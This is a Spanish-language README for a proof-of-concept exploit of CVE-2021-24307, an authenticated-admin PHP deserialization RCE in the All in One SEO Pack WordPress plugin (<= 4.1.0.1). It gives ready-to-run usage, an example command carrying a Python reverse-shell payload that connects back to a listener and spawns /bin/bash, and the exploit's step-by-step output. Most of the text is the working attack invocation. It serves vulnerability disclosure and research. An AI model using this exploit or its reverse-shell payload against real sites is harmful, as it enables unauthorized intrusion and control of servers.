
Prueba de concepto de exploit para CVE-2021-24307, un RCE de administrador autenticado en All in One SEO Pack <= 4.1.0.1 mediante deserialización de PHP, que permite la ejecución arbitraria de comandos.
PoC simple de un RCE autenticado como administrador en AISEO <= 4.1.0.1, proporcionado como ejemplo.
Artículo completo aquí: https://darkpills.com/php-unserialize-write-up-with-admin-rce-in-all-in-one-seo-pack-cve-2021-24307/
Uso:
php exploit.php url login password php_command arguments [proxy]
Ejemplo:
└─$ php exploit.php http://wordpress/ admin admin shell_exec "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'" localhost:8080
-- All-in-one-seo-pack <= 4.1.0.1 RCE autenticado como administrador --
-- Exploit por Vincent MICHEL (@darkpills) --
[+] Autenticando en wordpress http://wordpress/
[+] Obteniendo nonce de la API REST de WP
[+] Nonce encontrado: 6aeb9ddf05
[+] Generando payload POST para ejecutar el comando: shell_exec("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'")
[+] Subiendo archivo ini con la configuración de importación
[+] ¡Listo! Comprueba el resultado en algún lugar (ejecución de comandos a ciegas)